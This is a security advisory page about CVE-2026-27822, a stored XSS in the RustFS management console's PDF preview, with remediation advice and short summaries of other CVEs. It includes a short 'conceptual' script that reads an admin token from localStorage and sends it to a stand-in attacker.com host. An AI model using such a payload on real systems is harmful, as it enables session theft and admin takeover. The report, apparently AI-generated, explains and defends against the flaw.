CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27822

RustFS & The PDF Trojan: Anatomy of a Critical Stored XSS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·86 visits

Executive Summary (TL;DR)

Critical Stored XSS in RustFS Console allowing full admin takeover via malicious PDF previews.

While the world rushes to rewrite everything in Rust to escape the nightmare of memory corruption, we are reminded that logic bugs and web vulnerabilities don't care about your borrow checker. CVE-2026-27822 is a critical Stored Cross-Site Scripting (XSS) vulnerability in the RustFS Management Console. By exploiting the PDF preview functionality, an attacker can turn a simple file upload into a weaponized payload that executes arbitrary JavaScript in the context of an administrator's session. This isn't just a pop-up alert; it's a full administrative account takeover via `localStorage` exfiltration, granting total control over the distributed object storage system.

The Hook: Rust Can't Save You From JavaScript

There is a certain irony in finding a critical vulnerability in a project named RustFS. The security community has spent the last decade evangelizing Rust as the silver bullet for memory safety—killing buffer overflows and use-after-free bugs by design. And they're right; Rust is fantastic at that. But RustFS isn't just a backend storage engine; it comes with a Management Console. And that console is built on the wild, untamed west of the web: HTML and JavaScript.

CVE-2026-27822 targets the RustFS Console, specifically the component responsible for previewing files. In a distributed object store, administrators often need to verify uploaded content. They click a file, a modal pops up, and they see a preview. It's a feature designed for convenience, but in this specific version range (< 1.0.0-alpha.83), it was implemented with a fatal trust in user input.

This vulnerability is a classic Stored Cross-Site Scripting (XSS) attack. The 'Stored' part makes it particularly dangerous. Unlike Reflected XSS, where you have to trick a user into clicking a weird link, Stored XSS lays a trap. The attacker places a landmine (the malicious file) in the storage system, and the victim (the admin) triggers it simply by doing their job—managing files. The moment the preview renders, the game is over.

The Flaw: The Preview Trap

The root cause of this vulnerability lies in how the RustFS Console handles the rendering of PDF files within its preview modal. When a user requests a preview, the application fetches the object data and attempts to display it. The flaw involves insufficient sanitization of the content before it interacts with the DOM (Document Object Model).

Browser-based PDF rendering is notoriously tricky. If an application blindly serves a file with Content-Type: application/pdf inside an iframe or uses a client-side library to parse and render it without strict boundaries, it opens the door to script execution. In this specific case, the preview logic allowed the execution of JavaScript embedded within the file structure or disguised as a PDF context.

Essentially, the developers locked the front door (authentication required to access the console) but left the window wide open (the preview renderer). They assumed that because a file claims to be a PDF, or is treated as a static asset, it is safe to render in the browser. This assumption is fatal. Modern browsers and PDF specs are complex beasts; if you don't explicitly tell the browser not to run scripts (via CSP or sandbox attributes), it often will, just to be 'helpful'.

The Exploit: Weaponizing the Document

Exploiting this requires a low-privilege account—anyone who can upload a file to the storage bucket. The attack chain is elegant in its simplicity and devastating in its impact.

Step 1: The Payload

The attacker crafts a malicious file. While the advisory specifically mentions PDF logic, XSS payloads in this context often involve Polyglots—files that are valid enough to be accepted by the storage engine but contain HTML/JS that the browser will execute when the content-type is mishandled or when the renderer is tricked.

// Conceptual Payload injected into the file
<script>
  const adminToken = localStorage.getItem('rustfs_auth_token');
  const creepUrl = 'https://attacker.com/collect?data=' + btoa(adminToken);
  fetch(creepUrl);
</script>

Step 2: The Trap

The attacker uploads this file to a bucket they have access to. They might name it Monthly_Financials.pdf or System_Logs_Error.pdf—something that practically begs an administrator to check it.

Step 3: The Execution

An administrator logs into the RustFS Console. They see the file. "That looks important," they think. They click the Preview button. The console opens a modal to display the file. Because the application fails to sanitize the input or sandbox the rendering frame, the browser parses the attacker's JavaScript.

At this moment, the script runs in the context of the administrator's session. It silently reads localStorage, grabs the JWT or session token, and sends it to the attacker's server. The admin sees a blank preview or a broken image; the attacker sees a new root shell.

The Impact: Total System Compromise

Why is this rated Critical (9.1)? Because in modern single-page applications (SPAs), localStorage is often where the "keys to the kingdom" are kept. RustFS stores administrator credentials and session tokens there.

Once an attacker has these tokens, they don't need to bypass a firewall or crack a password. They simply import the token into their own browser and become the administrator.

From there, the impact scales vertically:

  1. Data Exfiltration: The attacker can read every object in every bucket.
  2. Data Destruction: They can delete all backups, databases, and assets stored in the system.
  3. Ransomware: They can encrypt the data (download, encrypt, re-upload, delete original) and demand payment.
  4. Persistence: They can create new admin users for themselves to maintain access even if the original vulnerability is patched.

This is a "Game Over" scenario. The breach of the management console completely undermines the security of the underlying storage system.

The Fix: Closing the Window

The fix was released in version 1.0.0-alpha.83. If you are running any version prior to this, you are vulnerable. The remediation strategy is straightforward but urgent.

1. Patch Immediately

Update your RustFS instance to the latest version. The developers have patched the preview logic, likely by implementing strict output encoding, using a sandboxed iframe with the sandbox attribute (e.g., sandbox="allow-scripts" would be removed), or enforcing a strict Content Security Policy (CSP) on the preview modal.

# If using cargo to manage the binary
cargo install rustfs --version 1.0.0-alpha.83

2. Defense in Depth (Developer Takeaway)

For developers building similar systems, this is a lesson in defense in depth.

  • Never trust file content: Always serve user-uploaded content with Content-Disposition: attachment to force a download rather than a browser render, unless strictly necessary.
  • Sandbox Everything: If you must preview content, do it in an iframe with the sandbox attribute set to the absolute minimum permissions required.
  • Stop using LocalStorage for Secrets: Storing auth tokens in localStorage makes them accessible to any XSS payload. Use HttpOnly cookies, which are invisible to JavaScript, to mitigate the impact of XSS vulnerabilities.

Official Patches

RustFSGitHub Advisory and Patch Details

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

RustFS Management Console < 1.0.0-alpha.83

Affected Versions Detail

Product
Affected Versions
Fixed Version
rustfs
rustfs
< 1.0.0-alpha.831.0.0-alpha.83
AttributeDetail
CVE IDCVE-2026-27822
CVSS9.1 (Critical)
CWECWE-79 (Stored XSS)
Attack VectorNetwork (Stored File Upload)
ImpactAdmin Account Takeover
Affected ComponentPDF Preview Logic
EPSS Score0.00041

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability Disclosed
2026-02-25
Patch Released (v1.0.0-alpha.83)
2026-02-25
CVE Assigned
2026-02-25

References & Sources

  • [1]GHSA-v9fg-3cr2-277j
  • [2]NVD CVE-2026-27822

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
26 views•6 min read
•3 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
12 views•5 min read
•4 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
20 views•6 min read
•4 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
5 views•6 min read
•4 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
35 views•7 min read
•4 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read